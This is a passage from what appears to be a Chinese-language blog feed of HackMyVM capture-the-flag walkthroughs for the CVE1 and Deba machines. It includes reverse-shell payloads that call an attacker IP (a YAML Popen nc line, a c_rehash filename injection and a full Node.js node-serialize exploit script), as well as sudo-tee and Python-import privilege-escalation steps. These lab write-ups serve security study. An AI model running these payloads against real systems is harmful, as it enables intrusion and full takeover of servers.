&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;id: !!python/object/apply:subprocess.Popen [[&amp;quot;nc&amp;quot;, &amp;quot;192.168.0.106&amp;quot;, &amp;quot;4444&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;sh&amp;quot;]]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我用名为“file”的名上传到服务器时（服务器会自动添加扩展名），我会看到类似 www-data 的 shell。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Cve1-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我一直以为没有弹回来，结果是没有弹出tty命令行&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-wicca&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@cve-pt1:~$ sudo -l
sudo -l
sudo: unable to resolve host cve-pt1: No address associated with hostname

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 

www-data@cve-pt1:~$ find / -perm -u=s -type f 2&amp;gt;/dev/null
find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

www-data@cve-pt1:~$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:105:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
wicca:x:1000:1000:wicca,,,:/home/wicca:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

www-data@cve-pt1:/etc/cron.d$ ls -al
ls -al
total 28
drwxr-xr-x  2 root root 4096 Dec  7  2022 .
drwxr-xr-x 77 root root 4096 Jan 11 23:40 ..
-rw-r--r--  1 root root  285 Feb  6  2021 anacron
-rw-r--r--  1 root root  418 Dec  7  2022 cve1
-rw-r--r--  1 root root  201 Jun  7  2021 e2scrub_all
-rw-r--r--  1 root root  712 May 11  2020 php
-rw-r--r--  1 root root  102 Feb 22  2021 .placeholder

www-data@cve-pt1:/etc/cron.d$ cat cve1
cat cve1
*/1 * * * * www-data python3 /var/www/cve/2021-4118.py
*/1 * * * * www-data sleep 20; python3 /var/www/cve/2021-4118.py
*/1 * * * * www-data sleep 40; python3 /var/www/cve/2021-4118.py
*/1 * * * * wicca c_rehash /etc/ssl/certs/
*/1 * * * * wicca sleep 30; c_rehash /etc/ssl/certs/
*/1 * * * * root python3 /root/0845.py
*/1 * * * * root sleep 20; python3 /root/0845.py
*/1 * * * * root sleep 40; python3 /root/0845.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在查找计划任务时发现有一个叫 &lt;code&gt;Wicca&lt;/code&gt; 的用户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c_rehash&lt;/code&gt; 命令有一个漏洞 &lt;strong&gt;CVE-2022-1292&lt;/strong&gt;，[&lt;a href=&quot;https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md&quot;&gt;https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md&lt;/a&gt;]&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@cve-pt1:~$ ls -la /usr/bin/c_rehash
ls -la /usr/bin/c_rehash
-rwxr-xr-x 1 root root 6176 Dec  6  2022 /usr/bin/c_rehash

访问 /etc/ssl/certs/（默认）或 update-ca-certificates 中配置的其他路径
www-data@cve-pt1:/etc/cron.d$ cd /etc/ssl/certs/
cd /etc/ssl/certs/

echo &amp;quot;-----BEGIN CERTIFICATE-----&amp;quot; &amp;gt; &amp;quot;hey.crt\`nc -c sh 192.168.0.106 12345\`&amp;quot; （NC 作为有效载荷示例）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等一分钟&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvvp 12345
listening on [any] 12345 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.106] from (UNKNOWN) [192.168.0.107] 59288
id
uid=1000(wicca) gid=1000(wicca) groups=1000(wicca)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;HMVM{e49553320c33fa8866cddae2954ee228}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-root&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wicca@cve-pt1:~$ sudo -l
sudo -l
sudo: unable to resolve host cve-pt1: No address associated with hostname
Matching Defaults entries for wicca on cve-pt1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User wicca may run the following commands on cve-pt1:
    (root) NOPASSWD: /usr/bin/tee
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(wicca) NOPASSWD: /usr/bin/tee&lt;/p&gt;
&lt;p&gt;👉 tee 以 root 身份运行&lt;/p&gt;
&lt;p&gt;👉 可以 向任意 root 可写文件写内容&lt;/p&gt;
&lt;p&gt;👉 = 直接 root&lt;/p&gt;
&lt;h2&gt;🚀 方法一（最推荐）：写 &lt;code&gt;/etc/sudoers&lt;/code&gt; → 永久 root&lt;/h2&gt;
&lt;p&gt;给 wicca 直接加 sudo ALL 权限。&lt;/p&gt;
&lt;h3&gt;1️⃣ 执行（一次就够）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;quot;wicca ALL=(ALL) NOPASSWD: ALL&amp;quot; | sudo tee -a /etc/sudoers
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2️⃣ 验证&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3️⃣ 直接 root&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo -i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ &lt;strong&gt;这是最稳定、最干净的提权方式&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;🚀 方法二：写 root 的 SSH key（免密 root 登录）&lt;/h2&gt;
&lt;p&gt;如果你想 &lt;strong&gt;长期稳定控制&lt;/strong&gt; 这台机子。&lt;/p&gt;
&lt;h3&gt;1️⃣ 本地生成 key（Kali）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh-keygen -t rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2️⃣ 把公钥写进 root&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat ~/.ssh/id_rsa.pub | sudo tee -a /root/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3️⃣ 直接 root 登录&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ssh root@cve-pt1
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;🚀 方法三：覆盖关键文件（一次性 root shell）&lt;/h2&gt;
&lt;h3&gt;方式 A：覆盖 &lt;code&gt;/etc/passwd&lt;/code&gt;（不太推荐但能用）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;#39;root2::0:0:root:/root:/bin/bash&amp;#39; | sudo tee -a /etc/passwd
su root2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;⚠️ 改 passwd 文件在实战里不优雅，但 CTF 可用。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@cve-pt1:~# cat root.txt
cat root.txt
HMVM{01cefdb2ed88aa502ec4149bb19ebae6}
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/cve1/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/cve1/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 12 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Deba</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/deba/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/deba/</guid><description>Hack and fun.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Deba-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.102   08:00:27:57:b1:d0       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.102        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 06:22 EST
Nmap scan report for 192.168.0.102
Host is up (0.00037s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA)
|   256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA)
|_  256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn&amp;#39;t have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.60 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.102     

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.102/_26-01-12_06-26-06.txt

Target: http://192.168.0.102/

[06:26:06] Starting: 

[06:26:26] 301 -  321B  - /node_modules  -&amp;gt;  http://192.168.0.102/node_modules/
[06:26:26] 200 -  992B  - /node_modules/
[06:26:27] 200 -   32KB - /package-lock.json
[06:26:27] 200 -  116B  - /package.json
[06:26:31] 403 -  278B  - /server-status
[06:26:31] 403 -  278B  - /server-status/
[06:26:31] 200 -  386B  - /server.js

Task Completed
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.102
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js,yaml,php,txt,html,zip,db,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/.html                (Status: 403) [Size: 278]
/server.js            (Status: 200) [Size: 679]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/server.js&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// 引入 express 框架，用于创建 Web 服务器
var express = require(&amp;#39;express&amp;#39;);

// 引入 cookie-parser，用于解析 HTTP 请求中的 Cookie
var cookieParser = require(&amp;#39;cookie-parser&amp;#39;);

// 引入 escape-html，用于对 HTML 特殊字符进行转义，防止 XSS
var escape = require(&amp;#39;escape-html&amp;#39;);

// 引入 node-serialize，用于对象的序列化与反序列化（⚠️存在安全风险）
var serialize = require(&amp;#39;node-serialize&amp;#39;);

// 创建一个 Express 应用实例
var app = express();

// 将 cookie-parser 作为中间件使用
// 这样 req.cookies 才能读取到客户端发送的 cookie
app.use(cookieParser())

// 定义 GET 请求，访问根路径 /
app.get(&amp;#39;/&amp;#39;, function(req, res) {

    // 判断客户端是否携带名为 profile 的 cookie
    if (req.cookies.profile) {

        // 将 cookie 中的 base64 字符串解码成普通字符串
        // ⚠️ Buffer 构造方式已被废弃，推荐使用 Buffer.from
        var str = new Buffer(req.cookies.profile,&amp;#39;base64&amp;#39;).toString();

        // 使用 node-serialize 反序列化字符串为对象
        // ⚠️ 非常危险：如果 cookie 被用户篡改，可能触发代码执行
        var obj = serialize.unserialize(str);

        // 如果反序列化后的对象中存在 username 字段
        if (obj.username) {

            // 对 username 进行 HTML 转义，防止 XSS
            // 然后返回 “Hello 用户名”
            res.send(&amp;quot;Hello &amp;quot; + escape(obj.username));
        }

    } else {

        // 如果客户端没有 profile cookie
        // 设置一个默认的 profile cookie（base64 编码的 JSON）
        res.cookie(
            &amp;#39;profile&amp;#39;,
            &amp;quot;eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=&amp;quot;,
            {
                maxAge: 900000, // cookie 有效期 15 分钟（毫秒）
                httpOnly: true  // 只能通过 HTTP 访问，JS 无法读取
            }
        );
    }

    // 无论上面逻辑是否执行，最终都会执行这一句
    // ⚠️ 问题：如果前面已经 res.send 过，会导致逻辑混乱
    res.send(&amp;quot;Hello World&amp;quot;);
});

// 启动服务器，监听 3000 端口
app.listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;**使用 **&lt;code&gt;**cookie-parser**&lt;/code&gt; 解析请求中的 cookie。&lt;/li&gt;
&lt;li&gt;**使用 **&lt;code&gt;**node-serialize**&lt;/code&gt; 来序列化和反序列化对象。&lt;/li&gt;
&lt;li&gt;**访问根路径 **&lt;code&gt;**/**&lt;/code&gt;：&lt;/li&gt;
&lt;li&gt;如果请求中有 &lt;code&gt;profile&lt;/code&gt; cookie：&lt;ol&gt;
&lt;li&gt;将 cookie 的 base64 内容解码成字符串。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;serialize.unserialize&lt;/code&gt; 将字符串转换成对象。&lt;/li&gt;
&lt;li&gt;如果对象里有 &lt;code&gt;username&lt;/code&gt;，用 &lt;code&gt;escape&lt;/code&gt; 过滤后返回 &lt;code&gt;&amp;quot;Hello username&amp;quot;&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;如果没有 &lt;code&gt;profile&lt;/code&gt; cookie：&lt;ol&gt;
&lt;li&gt;服务器设置一个默认的 &lt;code&gt;profile&lt;/code&gt; cookie（内容是 base64 编码的 JSON）。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;默认返回 &lt;code&gt;&amp;quot;Hello World&amp;quot;&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=&lt;/p&gt;
&lt;p&gt;base64解码后为&lt;/p&gt;
&lt;p&gt;{&amp;quot;username&amp;quot;:&amp;quot;ajin&amp;quot;,&amp;quot;country&amp;quot;:&amp;quot;india&amp;quot;,&amp;quot;city&amp;quot;:&amp;quot;bangalore&amp;quot;}&lt;/p&gt;
&lt;h1&gt;漏洞理解&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
  &amp;quot;username&amp;quot;: &amp;quot;_$$ND_FUNC$$_function(){
    require(&amp;#39;child_process&amp;#39;).exec(&amp;#39;whoami&amp;#39;,function() {})
  }()&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;核心&lt;/h2&gt;
&lt;p&gt;是 &lt;code&gt;node-serialize&lt;/code&gt; 库的 &lt;code&gt;unserialize&lt;/code&gt; 函数。该函数在反序列化时，如果遇到特殊的函数标记（&lt;code&gt;_$$ND_FUNC$$_&lt;/code&gt;），会执行该函数。攻击者可以构造一个特殊的序列化字符串，其中包含恶意代码，当服务器调用 &lt;code&gt;unserialize&lt;/code&gt; 时就会执行这些代码。&lt;/p&gt;
&lt;h2&gt;关键点&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;_$$ND_FUNC$$_&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这是 &lt;code&gt;node-serialize&lt;/code&gt; 的特殊标记，意思是：&lt;/p&gt;
&lt;p&gt;&amp;quot;嘿！我不是普通的字符串，我是一段要执行的函数代码！&amp;quot;&lt;/p&gt;
&lt;p&gt;当 &lt;code&gt;node-serialize&lt;/code&gt; 看到这个标记，它会：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;提取后面的字符串：&lt;code&gt;function(){require(&amp;#39;child_process&amp;#39;).exec(&amp;#39;whoami&amp;#39;,...&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;eval()&lt;/code&gt; 或 &lt;code&gt;new Function()&lt;/code&gt; 把它变成真正的函数&lt;/li&gt;
&lt;li&gt;立即执行这个函数（因为有 &lt;code&gt;()&lt;/code&gt; 在最后）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// 反序列化（漏洞在这里！）
对象 = serialize.unserialize(解码后的);
// node-serialize看到_$$ND_FUNC$$_，会执行后面的函数代码
// 结果：黑客的代码在服务器上运行了！
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;漏洞利用&lt;/h1&gt;
&lt;h2&gt;反弹shell&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// reverse_shell_exploit.js
const http = require(&amp;#39;http&amp;#39;);
const net = require(&amp;#39;net&amp;#39;);

// 配置
const config = {
    target: &amp;#39;192.168.0.102:3000&amp;#39;,
    attacker: &amp;#39;192.168.0.106&amp;#39;,
    shellPort: 4444
};

// 创建恶意 cookie
function createReverseShellCookie() {
    // 使用 Node.js 创建反向连接
    const reverseCode = `
        var net = require(&amp;#39;net&amp;#39;);
        var cp = require(&amp;#39;child_process&amp;#39;);
        var sh = cp.spawn(&amp;#39;/bin/sh&amp;#39;, []);
        var client = new net.Socket();
        client.connect(${config.shellPort}, &amp;#39;${config.attacker}&amp;#39;, function() {
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
    `;
    
    const payload = {
        username: `_$$ND_FUNC$$_function(){${reverseCode}}()`
    };
    
    return Buffer.from(JSON.stringify(payload)).toString(&amp;#39;base64&amp;#39;);
}

// 启动监听
function startListener(port) {
    console.log(`[+] 启动监听器在端口 ${port}...`);
    
    const server = net.createServer((socket) =&amp;gt; {
        console.log(&amp;#39;[+] 收到反向连接!&amp;#39;);
        console.log(&amp;#39;[+] 远程地址:&amp;#39;, socket.remoteAddress);
        
        // 交互式 shell
        process.stdin.pipe(socket);
        socket.pipe(process.stdout);
        
        socket.on(&amp;#39;close&amp;#39;, () =&amp;gt; {
            console.log(&amp;#39;[!] 连接关闭&amp;#39;);
            process.exit();
        });
    });
    
    server.listen(port, () =&amp;gt; {
        console.log(`[+] 监听器在 ${config.attacker}:${port} 启动成功`);
        
        // 发送攻击请求
        setTimeout(() =&amp;gt; sendExploit(), 1000);
    });
}

// 发送攻击请求
function sendExploit() {
    const cookieValue = createReverseShellCookie();
    console.log(&amp;#39;[+] 发送恶意请求...&amp;#39;);
    
    const options = {
        hostname: &amp;#39;192.168.0.102&amp;#39;,
        port: 3000,
        path: &amp;#39;/&amp;#39;,
        method: &amp;#39;GET&amp;#39;,
        headers: {
            &amp;#39;Cookie&amp;#39;: `profile=${cookieValue}`
        }
    };
    
    const req = http.request(options, (res) =&amp;gt; {
        console.log(`[+] 服务器响应状态: ${res.statusCode}`);
        res.on(&amp;#39;data&amp;#39;, () =&amp;gt; {}); // 忽略响应数据
    });
    
    req.on(&amp;#39;error&amp;#39;, (e) =&amp;gt; {
        console.log(&amp;#39;[!] 请求失败:&amp;#39;, e.message);
    });
    
    req.end();
}

// 主函数
console.log(`
====================================
    Node.js 反序列化反向 Shell
====================================
目标: ${config.target}
攻击机: ${config.attacker}
监听端口: ${config.shellPort}
====================================
`);

startListener(config.shellPort);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;{&amp;quot;username&amp;quot;:&amp;quot;_$$ND_FUNC$$_function(){\n var net = require(&amp;#39;net&amp;#39;);\n var cp = require(&amp;#39;child_process&amp;#39;);\n var sh = cp.spawn(&amp;#39;/bin/sh&amp;#39;, []);\n var client = new net.Socket();\n client.connect(4444, &amp;#39;192.168.0.106&amp;#39;, function() {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n });\n }()&amp;quot;}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;npm install node-serialize axios
node exploit_deserialize.js
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# node shell.js                   

====================================
    Node.js 反序列化反向 Shell
====================================
目标: 192.168.0.102:3000
攻击机: 192.168.0.106
监听端口: 4444
====================================

[+] 启动监听器在端口 4444...
[+] 监听器在 192.168.0.106:4444 启动成功
[+] 发送恶意请求...
[+] 服务器响应状态: 200
[+] 收到反向连接!
[+] 远程地址: ::ffff:192.168.0.102
whoami
www-data
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;升级tty&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@debian:/home/low$ cat user.txt
cat user.txt
justdeserialize
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;python库劫持提权-low&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@debian:/home/low$ sudo -l
sudo -l
Matching Defaults entries for www-data on debian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on debian:
    (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;www-data 用户可以以 low 用户身份 运行指定脚本&lt;/li&gt;
&lt;li&gt;不需要密码 (NOPASSWD)&lt;/li&gt;
&lt;li&gt;可以运行：&lt;code&gt;/usr/bin/python3 /home/low/scripts/script.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@debian:/home/low$ cat /home/low/scripts/script.py
cat /home/low/scripts/script.py
import main
import os

print(&amp;quot;\n&amp;quot;)
os.system(&amp;quot;ip a | grep enp0s3&amp;quot;)

print(&amp;quot;\n&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;用 &lt;strong&gt;&lt;code&gt;cat &amp;gt;&lt;/code&gt;&lt;/strong&gt; 覆盖 &lt;strong&gt;&lt;code&gt;main.py&lt;/code&gt;&lt;/strong&gt; 内容&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@debian:/home/low$ 
cat &amp;gt; /home/low/scripts/main.py &amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
import os
os.system(&amp;#39;bash&amp;#39;)
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;使用 shell 的重定向 &lt;code&gt;&amp;gt;&lt;/code&gt; &lt;strong&gt;直接覆盖&lt;/strong&gt; &lt;code&gt;main.py&lt;/code&gt; 的内容。&lt;/li&gt;
&lt;li&gt;新内容是一个恶意 Python 脚本：&lt;ul&gt;
&lt;li&gt;打印提示&lt;/li&gt;
&lt;li&gt;执行 &lt;code&gt;id&lt;/code&gt; 和 &lt;code&gt;whoami&lt;/code&gt; 查看当前身份&lt;/li&gt;
&lt;li&gt;启动一个 &lt;code&gt;bash&lt;/code&gt; shell（获得交互式控制）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;✅ 成功注入恶意代码到 &lt;code&gt;main.py&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;触发目标脚本执行（以 &lt;strong&gt;&lt;code&gt;low&lt;/code&gt;&lt;/strong&gt; 身份）&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;www-data@debian:/home/low$ sudo -u low /usr/bin/python3 /home/low/scripts/script.py
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;系统以 &lt;code&gt;low&lt;/code&gt; 用户身份运行 &lt;code&gt;script.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;假设 &lt;code&gt;script.py&lt;/code&gt; 内容类似：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# script.py
import main  # 从当前目录导入 main.py
main.run()
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;由于 Python 默认优先从&lt;strong&gt;当前工作目录&lt;/strong&gt;导入模块，因此会加载被篡改的 &lt;code&gt;main.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;计时任务提权-debain&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;low@debian:/$ find / -perm -u=s -type f 2&amp;gt;/dev/null
find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/sbin/pppd
/usr/bin/bwrap
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/gpasswd
